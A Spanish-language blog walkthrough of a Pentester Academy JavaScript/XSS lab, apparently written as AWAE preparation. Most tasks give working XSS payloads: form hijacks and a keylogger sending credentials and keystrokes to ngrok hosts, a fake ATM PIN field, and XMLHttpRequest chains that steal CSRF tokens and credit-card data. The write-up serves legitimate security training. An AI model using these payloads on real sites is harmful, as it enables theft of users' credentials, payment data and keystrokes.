Buenas! En esta entrada resolveremos el laboratorio de Pentester Academy.
El motivo principal es redactar mis notas en la preparación del AWAE y así compartirlas con todo el mundo. El laboratorio consta de 21 retos, solo basta en ir incrementando el número en el enlace para ir haciéndolos. Aun así recomiendo realizar el curso para ver las clases explicadas por el profesor en el siguiente enlace.
Modificar contenido de una web aprovechando un XSS – Parte 1
Task 1. El parámetro url es vulnerable a XSS mediante una petición GET. Hacemos la prueba con un payload básico.
<script>alert(1)</script>
Al hacer clic en submit, podemos ver un alert que muestra la cadena «1» significando que podemos ejecutar código JavaScript en la página. Lo siguiente es completar la primera tarea, es decir, modificar el texto «Modifícame» a «Te he modificado». Si analizamos el código fuente podemos observar que el texto que queremos modificar esta identificado con una clase que podemos usar para identificar el elemento.
Tenemos identificado la etiqueta <h2>
, ahora simplemente tenemos que modificar el contenido haciendo uso de innerHTML. Como es un objeto tenemos que acceder a el con el idx (index) 0, y posteriormente haciendo uso del método innerHTML.
document.getElementsByClassName("form-signin-heading")[0].innerHTML="pwned";
También podíamos haber usado getElementsByTagName .Devuelve una lista de todos los objetos bajo una etiqueta particular. getElementsByTagName(«h2») devolverá una lista de todos los diferentes elementos dentro de una página web.
Modificar contenido de una web aprovechando un XSS – Parte 2
Task 2. Ya vimos la primera parte que era muy sencillo, en esta parte será parecido. Aprovecharemos un XSS reflejado para modificar el contenido de la página web, en este caso los enlaces. Hay varios enlaces en la página (4 enlaces para ser exactos). El objetivo es cambiar todos los enlaces por un dominio que nosotros queramos. Al ser un XSS reflejado aprovechando el parámetro vulnerable url, necesitamos engañar a un usuario para visitar nuestro enlace. Si fuese un XSS almacenado o «stored» tendría sin lugar a duda más impacto ya que podríamos modificar permanentemente el contenido de la página web.
Simplemente con usar este payload modificamos el contenido del href de la etiqueta <a>
.
El idx 0 corresponde al primer elemento <a>
, usando el método href podemos modificar el enlace donde se visitará una vez se haga click.
Hijack Form Submit sin XSS
En este reto, el task 3, tendremos que usar un CSRF para engañar al usuario y enviarnos su usuario y contraseña. Al no existir ningún tipo de protección de token podríamos llevar a cabo esta acción. El CSRF nos es útil por ejemplo para poder encadenar un XSS que solo se puede llevar a cabo mediante POST y así solo tener que usar la iteración-usuario una vez (abrir el enlace malicioso). Pero en este caso no es necesario.
En este caso al no existir ninguna vulnerabilidad XSS en los parámetros actuales (email y password), simplemente tenemos que craftear un form para enviarnos a un servidor que controle el atacante, el email y la password. Usaremos para ello ngrok para recibir la petición. En nuestro servidor tendríamos una página clon de la actual y solo tendríamos que enviar el enlace a la victima.
Una vez introduzca los datos el atacante habrá recibido la petición.
Hijack Form Submit + XSS
La manera más elegante de resolver el reto anterior es aprovechar la vulnerabilidad XSS en el parámetro url, realizando la petición GET. Solo necesitamos que la victima visite la página web (legítima) y todo el ataque se habría perpetrado de manera eficiente.
Sabiendo que tenemos un parámetro vulnerable, ¿por qué no aprovecharlo para poder escribir código Javascript dentro de la página? Recordamos que es un XSS reflejado por tanto, tenemos que tener en cuenta que el usuario haga la petición GET con nuestro payload encodeado en la URL. Para ello podemos hacer uso de BurpSuite y encodear todo el script. El script es el siguiente:
<script> function intercept() { var user = document.forms[0].elements[0].value; var pass = document.forms[0].elements[1].value; window.location.replace("http://05c616a2024c.ngrok.io?email=" + user + "&password=" + pass); return false; } document.forms[0].onsubmit = intercept; </script>
Usaremos ngrok para recibir la petición GET con el email y password de la victima. Podemos debuggear el payload usando el debugger del navegador. Ponemos un breakpoint justo en el return false
y así visualizamos los valores que toman las variables user y pass.
Modificar código HTML y enviar el ATM PIN a servidor malicioso
Esta parte, el task 4, es aun más divertida que la anterior, tenemos que aprovechar nuevamente nuestro XSS para crear un nuevo campo que se denomine ATM PIN. El usuario además de ingresar su email y password, ingresará un pin de su banco, interesante no?. El payload que usaremos será parecido al anterior solo que tendremos antes de hacer el intercept de las credenciales al hacer submit del form, tenemos que crear el código HTML. Para ello simplemente añadiremos el nuevo campo, teniendo en cuenta de que el valor será el 4 en el array, ya que tenemos que tener en cuenta el remember-me y el sign in.
El payload que usaremos es el siguiente:
<script> function intercept() { var user = document.forms[0].elements[0].value; var pass = document.forms[0].elements[1].value; var pin = document.forms[0].elements[4].value; window.location.replace("http://05c616a2024c.ngrok.io?email=" + user + "&password=" + pass + "&pin=" + pin); return false; } var input = document.createElement('input'); input.type="ATM" input.name="pin"; input.value = "ATM PIN"; document.forms[0].appendChild(input) document.forms[0].onsubmit = intercept; </script>
Colocamos un breakpoint para depurar la petición, y así visualizar que se envía los datos correctamente:
Y finalmente la petición GET recibida usando ngrok.
Inyectar Keylogger y enviar las pulsaciones de teclado a servidor malicioso
El task 7, esta parte es muy fácil ya que solo tenemos que capturar todas las pulsaciones de teclado que el usuario realiza y enviarlas a nuestro ngrok. Para ello simplemente con el siguiente código, y nuevamente aprovechando la vulnerabilidad XSS, tenemos el objetivo cumplido.
<script> var keys=''; document.onkeypress = function(e) { get = window.event?event:e; key = get.keyCode?get.keyCode:get.charCode; key = String.fromCharCode(key); keys+=key; } window.setInterval(function(){ new Image().src = 'http://e5b25e36ad33.ngrok.io?c='+keys; keys = ''; }, 1000); </script>
Mostrar la contraseña al hacer submit
En este ejercicio, task 8, tenemos que aprovechar el XSS en el parámetro email. Si ponemos por ejemplo onmouseover o onfocus, se «trigueará» el alert. Onmouseover significa que si pasamos el mouse por encima del campo email se ejecutara el código Javascript, es interesante tener esto en cuenta para poder hacer que cuando se haga submit la password se vea en forma de alert. ¿Pero como conseguimos que cuando el usuario haga submit se pope un mensaje de alerta con la password? Bueno primero antes de nada, este XSS en un principio no se refleja de la misma manera que con el parámetro url. Anteriormente era mas sencillo ya que nos permitía directamente escribir un script en el código, pero ahora para que el XSS se ejecute se tiene que hacer haciendo uso de una etiqueta HTML en el input. Esta etiqueta será onmouseover, o podemos probar onfocus.
Si ponemos un breakpoint en input, podemos ver que si pasamos el ratón por encima se para en el breakpoint.
Pero sabemos que este XSS si se lo pasamos a una víctima y pega toda la URI hará una petición GET desde el navegador no haciendo submit, pero el xss se queda reflejado en el campo input. Si descartamos la idea del submit, podemos usar este payload para que muestre el email únicamente.
email=aa"onmouseover="function intercept(){alert(document.forms[0].elements[0].value)}intercept()&password=asdas
La única manera de poder hacer que al hacer submit se obtenga la password y poder mostrarla en un mensaje de alerta es que la víctima siempre hará click en el campo email para poner el email, por tanto siempre se ejecutará el código y para ello usaremos document.forms[0].onsubmit
para popear la contraseña cuando haga submit.
External JS script
Este reto, task 10, simplemente nos piden que añadamos un external script haciendo uso de este enlace: http://demofilespa.s3.amazonaws.com/jfptest.js en la web. Para ello nos damos cuenta que el paramento url es vulnerable a xss ya que se refleja el contenido dentro de las etiquetas <h2><script>loquesea</script></h2>
. Para ello,
el payload simplemente seria algo así:
</script><script src="http://demofilespa.s3.amazonaws.com/jfptest.js">alert("1234agarrameelaparato")
Si usamos chrome la petición lógicamente esta cargada sobre HTTPS, pero la petición del script esta sobre http por lo cual es inseguro.
La petición ha sido bloqueada, y el contenido se tiene que cargar sobre HTTPS.
Defacement
En el task 11 tenemos que modificar la imagen de un sitio web, si aprovechamos el XSS. En este caso simplemente tenemos que añadir el siguiente payload en el parámetro url vulnerable.
<script>document.getElementsByTagName("img")[0].src = "https://www.fwhibbit.es/wp-content/uploads/2017/10/logo-fwhibbit-VECTOR-blanco-2.png"</script>
Auto-complete y enviar automaticamente email y password
En el siguiente reto correspondiente al task 12, tenemos que guardar el email y password en el navegador, de tal manera que siempre que hagamos una petición, autocomplete automáticamente. Este reto es muy parecido a uno que hicimos, salvo que ahora tendremos que enviar automáticamente en 10 segundos, y como esta autocompletado, en esta fase del payload no necesitamos que ingrese nada el usuario. El script quedaría de la siguiente manera:
<script> function intercept() { var user = document.forms[0].elements[0].value; var pass = document.forms[0].elements[1].value; window.location.replace("http://1a4ce5f148bf.ngrok.io?email=" + user + "&password=" + pass); return false; } setInterval(intercept , 10000); document.forms[0].onsubmit = intercept; </script>
Introducción a XMLHttpRequest()
En este reto el task 13, podemos ver que nos piden lo mismo que en el reto anterior, únicamente tenemos que hacer uso XMLHttpRequest().
<script> function intercept() { var user = document.forms[0].elements[0].value; var pass = document.forms[0].elements[1].value; var xhttp = new XMLHttpRequest(); var url = "http://9bd0b80753f7.ngrok.io?email=" + user + "&password=" + pass; xhttp.open("GET",url); xhttp.send(); return false; } setInterval(intercept , 10000); document.forms[0].onsubmit = intercept; </script>
Retrieve data usando XMLHttpRequest()
En el task 14 tenemos que aprovechar el XSS de siempre para poder obtener información de una pagina web y visualizarla dentro del elemento id «result». En este caso no tenemos ningún submit para ejecutar o «triggear» el script contenido en las etiquetas html <script>
. Para ello usaremos window.onload para ejecutar nuestra función intercept y con ello ya solucionaríamos el problema de, ¿Cómo ejecutar nuestro script?. Bien, ahora simplemente ejecutando el siguiente código podemos obtener mediante una petición GET la información necesaria, en este caso el «Email» contenida en la pagina web: http://pentesteracademylab.appspot.com/lab/webapp/jfp/14/email?name=john
Modificamos como ya sabemos usando getElementById e innerHTML el response obtenido.
<script> function intercept() { var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://pentesteracademylab.appspot.com/lab/webapp/jfp/14/email?name=john', true); xhr.send(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { document.getElementById("result").innerHTML = xhr.responseText; } } } window.onload = intercept; </script>
Usando peticiones POST con XMLHttpRequest()
En el task 15 deberemos de poder obtener el response mediante una petición POST al siguiente endpoint /lab/webapp/jfp/15/cardstore
. Para ello tendremos que usar nuevamente window.onload para poder hacer triggear el script. A la misma vez que se hace la petición POST y obtenemos el response, tendremos que enviarla a nuestro servidor del atacante mediante una petición GET usando nuevamente ngrok.
<script> function intercept() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function(){ if (xhr.readyState==4 && xhr.status==200) { alert(xhr.responseText); var xhttp = new XMLHttpRequest(); var url = "https://9855fee68c41.ngrok.io?creditcard=" + xhr.responseText; xhttp.open("GET",url,true); xhttp.send(); } }; var params = 'user=john'; xhr.open('POST', '/lab/webapp/jfp/15/cardstore', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send(params); } window.onload = intercept; </script>
Retrieve token y UID, y usarlo dinamicamente para obtener email usando una petición GET
En el task 17, es parecido al 14, salvo que en este caso tenemos que obtener dinámicamente el UID y token de sesión. Una vez obtengamos ambos, simplemente con pasarlo como argumentos de la función intercept será suficiente.
<script> function intercept(uid,csrf) { var xhr = new XMLHttpRequest(); var url = "/lab/webapp/jfp/17/email?name=john&uid=" + uid + "&csrf=" + csrf; xhr.open('GET', url, true); xhr.send(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { document.getElementById("result").innerHTML = xhr.responseText; } } } var uid = document.getElementById("uid").innerText.split(":")[1]; var csrf = document.getElementById("csrf").innerText.split(":")[1]; window.onload = intercept(uid,csrf); </script>
Obtener full iteración de una pagina HTML
En el task 18, deberemos del mismo modo que en el task 14, pero con la diferencia de que el contenido al que realizamos con XMLHttpRequest una petición GET, es un documento HTML. Para ello simplemente deberemos de especificar que el responseType sea document, y posteriormente el response es HTML, y no Text.
<script> function intercept() { var xhr = new XMLHttpRequest(); var url = "/lab/webapp/jfp/18/address"; xhr.open('GET', url, true); xhr.responseType = "document"; xhr.send(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { var html = xhr.responseXML; var address = html.getElementById("address").innerHTML; document.getElementById('result').innerHTML = address; } } } window.onload = intercept(); </script>
Chaining all things
Sin lugar a duda el task 19 es mi favorito hasta ahora. Se tiene que encadenar todo lo visto en esta entrada del blog. Primero de todo hay que obtener el UID y el csrf para hacer una petición GET usando ambos params de manera dinámica. Se podría hacer de manera hardcodeada pero nos pide que sea dinámico. Seguidamente con el token csrf tenemos que usarlo para la petición GET donde se accede al endpoint /lab/webapp/jfp/19/getform
. Para ello tendremos que hacer uso lo visto en el task 18 y obtener el response HTML para poder interactuar con el, ya que es necesario porque la siguiente petición GET que haremos hay otro token csrf en un input oculto y enviar también como parámetro el uid que obtuvimos.
Finalmente cuando hacemos esa petición, tenemos que encontrar en el documento HTML nuestra creditcard y enviarla a nuestro servidor atacante usando una petición GET como ya hemos hecho en tasks anteriores. El resultado es el siguiente script de 35 líneas aprox.. Con este solver aprovechando la vulnerabilidad XSS no haría falta ninguna iteración por parte del usuario, gracias al uso de XMLHttpRequest.
<script> function intercept(uid,csrf) { var xhr = new XMLHttpRequest(); var url = "/lab/webapp/jfp/19/getform?csrf_token=" + csrf; xhr.open('GET', url, true); xhr.responseType = "document"; xhr.send(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { var html = xhr.responseXML; var csrf_token = html.getElementsByTagName("input")[1]["value"]; var xhttp = new XMLHttpRequest(); var url = "/lab/webapp/jfp/19/getcreditcard?uid=" + uid + "&csrf_token=" + csrf_token; xhttp.open("GET",url,true); xhttp.responseType = "document"; xhttp.send(); xhttp.onreadystatechange = function() { if (xhttp.readyState == XMLHttpRequest.DONE) { var html2 = xhttp.responseXML; alert(html2.getElementById("result").innerHTML); //debug var creditcard = html2.getElementById("result").innerHTML; var xhttp2 = new XMLHttpRequest(); var url = "https://9855fee68c41.ngrok.io?creditcard=" + creditcard; xhttp2.open("GET",url,true); xhttp2.send(); } } } } } var uid = document.getElementById("settings").innerText.split(":")[1]; var csrf = document.getElementsByTagName("a")[0]["href"].split("=")[1]; window.onload = intercept(uid,csrf); </script>
Parsing JSON Response
En el task 20, es muy parecido al anterior con la salvedad de que el response es un JSON y tenemos que usar un bucle para poder parsearlo y obtener el token y la password. Del mismo modo se usaran dos peticiones GET, uno para obtener el token, y el otro para poder con el token obtener la password del usuario John. Del mismo, al principio obtenemos el UID de manera dinámica.
<script> function intercept(uid) { var xhr = new XMLHttpRequest(); var url = "/lab/webapp/jfp/20/gettoken?uid=" + uid; xhr.open('GET', url, true); xhr.send(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { var items = JSON.parse(xhr.responseText); for (var keys in items) { tokenid = items[keys].token; break; } alert(tokenid); //debug var xhttp = new XMLHttpRequest(); var url = "/lab/webapp/jfp/20/getpassword?token=" + tokenid; xhttp.open("GET",url,true); xhttp.send(); xhttp.onreadystatechange = function() { if (xhttp.readyState == XMLHttpRequest.DONE) { var items = JSON.parse(xhttp.responseText); for (var keys in items) { password = items[keys].password; break; } alert(password); //debug document.getElementById('result').innerHTML = password; } } } } } var uid = document.getElementById("settings").innerText.split(":")[1]; window.onload = intercept(uid); </script>
Con diferencia al anterior, no es necesario enviarnos la password usando ngrok.
Parsing XML nodes
Finalmente, ya hemos llegado a la ultima parte el task 21. En esta tendremos que obtener toda la información en el endpoint /lab/webapp/jfp/21/getxml
. Como no puede ser de otra manera recomiendo el uso de la consola para poder saber en primera instancia el como obtener la información de los nodos XML.
El ejercicio es sencillo, obtener el UID y el token, mostrarlo en la etiqueta id result, y posteriormente enviarlo al servidor del atacante mediante el uso de ngrok. Todo esto sabemos de sobra hacerlo, es más, es mucho mas sencillo que los dos anteriores. Una vez sabemos como obtener la información XML, nada nuevo.
<script> function intercept() { var xhr = new XMLHttpRequest(); var url = "/lab/webapp/jfp/21/getxml"; xhr.open('GET', url, true); xhr.send(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { var uid = xhr.responseXML.getElementsByTagName('uid-param-value')[0].firstChild.nodeValue; var token = xhr.responseXML.getElementsByTagName('token-param-value')[0].firstChild.nodeValue; alert(token); document.getElementById('result').innerHTML = uid + " - " +token; var xhttp = new XMLHttpRequest(); var url = "https://3b577ad7d046.ngrok.io?uid=" + uid + "&token=" + token; xhttp.open("GET",url,true); xhttp.send(); } } } window.onload = intercept(); </script>
Finalmente el resultado esperado.
Un saludo espero que os haya gustado la entrada y haber aprendido algo de Javascript!.